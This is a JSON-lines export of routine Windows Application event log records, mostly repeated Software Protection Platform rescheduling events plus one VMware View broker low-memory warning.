{"@timestamp":1659073751072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174443}}
{"@timestamp":1659073781078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174444}}
{"@timestamp":1659073811085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174445}}
{"@timestamp":1659073841091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174446}}
{"@timestamp":1659073871098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174447}}
{"@timestamp":1659073901104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174448}}
{"@timestamp":1659073931111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174449}}
{"@timestamp":1659073961117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174450}}
{"@timestamp":1659073991125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174451}}
{"@timestamp":1659074021131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174452}}
{"@timestamp":1659074051137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174453}}
{"@timestamp":1659074081210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174454}}
{"@timestamp":1659074111218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174455}}
{"@timestamp":1659074141224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174456}}
{"@timestamp":1659074171230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174457}}
{"@timestamp":1659074201237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174458}}
{"@timestamp":1659074231243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174459}}
{"@timestamp":1659074261251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174460}}
{"@timestamp":1659074291258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174461}}
{"@timestamp":1659074321265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174462}}
{"@timestamp":1659074351271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174463}}
{"@timestamp":1659074381277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174464}}
{"@timestamp":1659074411283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174465}}
{"@timestamp":1659074441288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174466}}
{"@timestamp":1659074471294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174467}}
{"@timestamp":1659074501301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174468}}
{"@timestamp":1659074531306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174469}}
{"@timestamp":1659074561312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174470}}
{"@timestamp":1659074591317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174471}}
{"@timestamp":1659074621322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174472}}
{"@timestamp":1659074651329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174473}}
{"@timestamp":1659074681335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174474}}
{"@timestamp":1659074711342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174475}}
{"@timestamp":1659074734088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 29 08:05:34 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":174476}}
{"@timestamp":1659074741349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174477}}
{"@timestamp":1659074771357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174478}}
{"@timestamp":1659074801365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174479}}
{"@timestamp":1659074831371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174480}}
{"@timestamp":1659074861377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174481}}
{"@timestamp":1659074891384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174482}}
{"@timestamp":1659074921391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174483}}
{"@timestamp":1659074951398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174484}}
{"@timestamp":1659074981405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174485}}
{"@timestamp":1659075011411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174486}}
{"@timestamp":1659075041419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174487}}
{"@timestamp":1659075071426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174488}}
{"@timestamp":1659075101432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174489}}
{"@timestamp":1659075131438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174490}}
{"@timestamp":1659075161446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174491}}
{"@timestamp":1659075191453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174492}}
{"@timestamp":1659075221460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174493}}
{"@timestamp":1659075251466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174494}}
{"@timestamp":1659075281474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174495}}
{"@timestamp":1659075311480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174496}}
{"@timestamp":1659075341489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174497}}
{"@timestamp":1659075371495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174498}}
{"@timestamp":1659075401503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174499}}
{"@timestamp":1659075431511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174500}}
{"@timestamp":1659075461518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174501}}
{"@timestamp":1659075491524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174502}}
{"@timestamp":1659075521531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174503}}
{"@timestamp":1659075551539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174504}}
{"@timestamp":1659075581545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174505}}
{"@timestamp":1659075611551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174506}}
{"@timestamp":1659075641559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174507}}
{"@timestamp":1659075671565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174508}}
{"@timestamp":1659075701572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174509}}
{"@timestamp":1659075731582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174510}}
{"@timestamp":1659075761589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174511}}
{"@timestamp":1659075791598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174512}}
{"@timestamp":1659075821605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174513}}
{"@timestamp":1659075851612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174514}}
{"@timestamp":1659075881619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174515}}
{"@timestamp":1659075911626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174516}}
{"@timestamp":1659075941632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174517}}
{"@timestamp":1659075971639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174518}}
{"@timestamp":1659076001645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174519}}
{"@timestamp":1659076031651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174520}}
{"@timestamp":1659076061658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174521}}
{"@timestamp":1659076091664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174522}}
{"@timestamp":1659076121671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174523}}
{"@timestamp":1659076151677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174524}}
{"@timestamp":1659076181684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174525}}
{"@timestamp":1659076211690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174526}}
{"@timestamp":1659076241697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174527}}
{"@timestamp":1659076271706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174528}}
{"@timestamp":1659076301712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174529}}
{"@timestamp":1659076331719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174530}}
{"@timestamp":1659076361726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174531}}
{"@timestamp":1659076391732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174532}}
{"@timestamp":1659076421740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174533}}
{"@timestamp":1659076451746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174534}}
{"@timestamp":1659076481752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174535}}
{"@timestamp":1659076511759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174536}}
{"@timestamp":1659076541766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174537}}
{"@timestamp":1659076571772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174538}}
{"@timestamp":1659076601780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174539}}
{"@timestamp":1659076631786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174540}}
{"@timestamp":1659076661793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174541}}
{"@timestamp":1659076691799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174542}}
{"@timestamp":1659076721805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174543}}
{"@timestamp":1659076751811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174544}}
{"@timestamp":1659076781818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174545}}
{"@timestamp":1659076811824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174546}}
{"@timestamp":1659076841831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174547}}
{"@timestamp":1659076871837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174548}}
{"@timestamp":1659076901843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:41Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174549}}
